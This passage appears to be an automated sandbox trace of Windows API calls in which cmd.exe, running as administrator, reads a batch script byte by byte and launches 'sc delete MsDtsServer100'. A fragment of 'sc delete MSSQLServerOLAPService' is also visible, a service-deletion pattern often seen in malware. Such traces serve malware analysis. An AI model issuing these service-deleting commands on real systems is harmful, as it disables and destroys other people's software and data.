lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.843] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te MSSQLServerOLAPService\n\n") returned 1 [0065.843] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.843] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.843] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.843] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e MSSQLServerOLAPService\n\n") returned 1 [0065.843] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.843] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.843] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" MSSQLServerOLAPService\n\n") returned 1 [0065.844] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.844] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.844] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="MSSQLServerOLAPService\n\n") returned 1 [0065.844] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.844] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.844] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="sSQLServerOLAPService\n\n") returned 1 [0065.844] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.844] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.844] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="DQLServerOLAPService\n\n") returned 1 [0065.844] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.844] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.844] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="tLServerOLAPService\n\n") returned 1 [0065.844] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.844] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.844] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.844] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="sServerOLAPService\n\n") returned 1 [0065.845] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.845] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.845] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="ServerOLAPService\n\n") returned 1 [0065.845] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.845] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.845] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="erverOLAPService\n\n") returned 1 [0065.845] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.845] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.845] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="rverOLAPService\n\n") returned 1 [0065.845] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.845] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.845] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.845] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="verOLAPService\n\n") returned 1 [0065.845] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.845] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.845] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="erOLAPService\n\n") returned 1 [0065.846] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.846] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.846] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="rOLAPService\n\n") returned 1 [0065.846] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.846] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.846] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="1LAPService\n\n") returned 1 [0065.846] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.846] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.846] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="0APService\n\n") returned 1 [0065.846] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.846] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.846] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.846] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="0PService\n\n") returned 1 [0065.846] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.846] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.846] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.847] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="\nService\n\n") returned 1 [0065.847] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.847] GetFileType (hFile=0xb8) returned 0x3 [0065.847] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.847] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.847] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.847] GetFileType (hFile=0x120) returned 0x3 [0065.847] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.847] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete MsDtsServer100\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete MsDtsServer100\n", lpUsedDefaultChar=0x0) returned 26 [0065.847] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x19, lpOverlapped=0x0) returned 1 [0065.847] GetProcessHeap () returned 0x1b0000 [0065.847] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0065.847] GetProcessHeap () returned 0x1b0000 [0065.847] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0065.847] GetProcessHeap () returned 0x1b0000 [0065.847] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0065.847] GetProcessHeap () returned 0x1b0000 [0065.847] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0065.847] GetProcessHeap () returned 0x1b0000 [0065.847] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3e) returned 0x1caa40 [0065.848] GetConsoleOutputCP () returned 0x1b5 [0065.848] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0065.848] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.848] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.848] GetProcessHeap () returned 0x1b0000 [0065.848] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0065.848] GetProcessHeap () returned 0x1b0000 [0065.848] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x44) returned 0x1caa90 [0065.848] GetProcessHeap () returned 0x1b0000 [0065.848] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc590 [0065.848] SetErrorMode (uMode=0x0) returned 0x1 [0065.848] SetErrorMode (uMode=0x1) returned 0x0 [0065.849] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5a0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0065.849] SetErrorMode (uMode=0x1) returned 0x1 [0065.849] GetProcessHeap () returned 0x1b0000 [0065.849] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc590, Size=0x62) returned 0x1cc590 [0065.849] GetProcessHeap () returned 0x1b0000 [0065.849] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc590) returned 0x62 [0065.849] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0065.849] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0065.849] GetProcessHeap () returned 0x1b0000 [0065.849] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0065.849] GetProcessHeap () returned 0x1b0000 [0065.849] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0065.849] GetProcessHeap () returned 0x1b0000 [0065.849] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0065.849] GetProcessHeap () returned 0x1b0000 [0065.849] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0065.849] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0065.849] GetProcessHeap () returned 0x1b0000 [0065.849] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0065.849] GetProcessHeap () returned 0x1b0000 [0065.849] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0065.849] GetProcessHeap () returned 0x1b0000 [0065.849] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0065.849] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.850] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.850] GetLastError () returned 0x2 [0065.850] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.850] GetLastError () returned 0x2 [0065.850] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.850] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1cba10 [0065.850] FindClose (in: hFindFile=0x1cba10 | out: hFindFile=0x1cba10) returned 1 [0065.850] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.851] GetLastError () returned 0x2 [0065.851] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1cba10 [0065.851] FindClose (in: hFindFile=0x1cba10 | out: hFindFile=0x1cba10) returned 1 [0065.851] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0065.851] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0065.851] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.851] GetProcessHeap () returned 0x1b0000 [0065.851] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0065.851] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.851] GetProcessHeap () returned 0x1b0000 [0065.851] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xaa) returned 0x1c9180 [0065.852] GetProcessHeap () returned 0x1b0000 [0065.852] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xaa [0065.852] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete MsDtsServer100") returned 1 [0065.852] GetProcessHeap () returned 0x1b0000 [0065.852] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0065.852] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0065.852] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0065.852] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0065.852] GetProcessHeap () returned 0x1b0000 [0065.853] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.853] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.854] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0065.854] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0065.854] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0065.854] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0065.854] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0065.854] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0065.854] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0065.854] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0065.854] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0065.854] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0065.854] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0065.854] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0065.854] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0065.854] GetProcessHeap () returned 0x1b0000 [0065.854] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0065.854] GetProcessHeap () returned 0x1b0000 [0065.854] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0065.854] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MsDtsServer100", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MsDtsServer100", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete MsDtsServer100", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0xbb4, dwThreadId=0xb3c)) returned 1 [0065.858] CloseHandle (hObject=0x50) returned 1 [0065.858] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0065.858] GetProcessHeap () returned 0x1b0000 [0065.858] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba70 | out: hHeap=0x1b0000) returned 1 [0065.858] GetEnvironmentStringsW () returned 0x1d1b10* [0065.858] GetProcessHeap () returned 0x1b0000 [0065.858] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0065.858] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.858] 